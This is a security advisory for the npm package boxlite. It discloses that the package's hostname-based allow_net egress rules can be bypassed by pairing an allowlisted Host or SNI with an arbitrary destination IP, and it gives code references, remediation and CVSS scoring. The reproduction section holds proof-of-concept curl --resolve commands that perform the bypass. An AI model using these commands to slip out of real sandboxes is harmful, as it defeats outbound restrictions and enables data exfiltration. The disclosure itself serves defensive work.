Skip to content

allow_net hostname rules can be bypassed by connecting to an arbitrary IP with an allowed Host/SNI

High
DorianZheng published GHSA-c7v3-78jq-x45m Aug 26, 2026

Package

npm boxlite (npm)

Affected versions

<=0.9.5

Patched versions

None

Description

Summary

BoxLite's allow_net enforcement can be bypassed when hostname-based rules are used for HTTP (port 80) and HTTPS (port 443) traffic. In the gvproxy-bridge inspection path, BoxLite validates the guest-controlled HTTP Host header or TLS SNI against the hostname allowlist, but then connects to the previously selected destination IP without checking that the authorized hostname actually resolves to that IP. As a result, unprivileged code inside a guest can reach an arbitrary IP address while presenting an allowlisted hostname.

Verified Code Facts

  1. forked_tcp.go:112-121 computes destAddr from the selected destination IP before hostname inspection occurs.
  2. forked_tcp.go:76-77 routes hostname-only rules for ports 80 and 443 into the inspectAndForward() path.
  3. forked_tcp.go:203-210 authorizes the connection only by checking filter.MatchesHostname(hostname) against the guest-controlled HTTP Host header or TLS SNI.
  4. forked_tcp.go:218-236 then calls net.Dial("tcp", destAddr) without verifying that the approved hostname corresponds to the destination IP being dialed.
  5. tcp_filter.go:126-140 shows that MatchesHostname() performs string matching only; it does not bind the hostname rule to the actual network destination.
  6. The documented product behavior in README.md:25 and docs/reference/README.md:153-168 presents allow_net as a guest egress restriction.
  7. The existing tests in sdks/python/tests/test_tcp_filter.py:235-289 cover allowlisted-host success and direct-IP blocking, but do not cover the hostname/IP mismatch case required for this bypass.

Security Impact

An attacker who can run ordinary code inside a BoxLite guest can bypass a host-configured outbound policy on ports 80 and 443.

This enables:

  • reaching arbitrary external IPs despite hostname-only allow_net restrictions;
  • exfiltrating data to attacker-controlled infrastructure while presenting an allowlisted hostname;
  • bypassing network segmentation or outbound policy assumptions that rely on BoxLite's documented egress controls.

Reproduction

Prerequisite: configure a guest with a hostname-only allowlist such as allow_net=["api.openai.com"].

Example HTTP PoC:

# Connect to an attacker-chosen IP while keeping an allowlisted Host header.
curl --resolve api.openai.com:80:203.0.113.10 http://api.openai.com/

Example HTTPS PoC:

# Connect to an attacker-chosen IP while keeping an allowlisted SNI value.
curl --resolve api.openai.com:443:203.0.113.10 -k https://api.openai.com/

Live validation that was actually performed during owner review:

# Owner validation: preserve Host while connecting to a caller-chosen IP.
curl --resolve allowed.example:18080:127.0.0.1 http://allowed.example:18080/

# Owner validation: preserve SNI while connecting to a caller-chosen IP.
curl --resolve allowed.example:18443:127.0.0.1 -k https://allowed.example:18443/

The owner recorded that these reproductions preserved Host=allowed.example:18080 and SNI=allowed.example while the TCP connection went to 127.0.0.1, matching the traced exploit primitive.

Why This Crosses a Security Boundary

This is not a documentation-only unsafe mode and it is not permission-equivalent to host administration.

Before exploitation, the attacker can only run unprivileged code inside a guest that is supposed to be restricted by a hostname-based outbound policy. After exploitation, the attacker can reach arbitrary IP destinations on ports 80/443 while satisfying BoxLite's hostname check with guest-controlled application-layer metadata. That breaks the product's promised outbound restriction boundary.

Remediation

  • Bind hostname authorization to the actual destination being dialed.
  • After extracting HTTP Host or TLS SNI, resolve the approved hostname and verify that the chosen destination IP matches the resolved address set before forwarding.
  • Alternatively, for hostname-based rules, establish the upstream connection using trusted resolution of the approved hostname rather than the guest-selected destination IP.
  • Add regression tests covering hostname/IP mismatch cases for both HTTP and HTTPS inspection paths.

Evidence Reviewed

  • /tmp/redbull-boxlite/rebuttals/rebuttals.json
  • /root/cve-audit/boxlite/src/deps/libgvproxy-sys/gvproxy-bridge/forked_tcp.go
  • /root/cve-audit/boxlite/src/deps/libgvproxy-sys/gvproxy-bridge/tcp_filter.go
  • /root/cve-audit/boxlite/sdks/python/tests/test_tcp_filter.py
  • /root/cve-audit/boxlite/README.md
  • /root/cve-audit/boxlite/docs/reference/README.md

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CVE ID

No known CVE

Weaknesses

Incorrect Authorization

The product performs an authorization check when an actor attempts to access a resource or perform an action, but it does not correctly perform the check. Learn more on MITRE.

Credits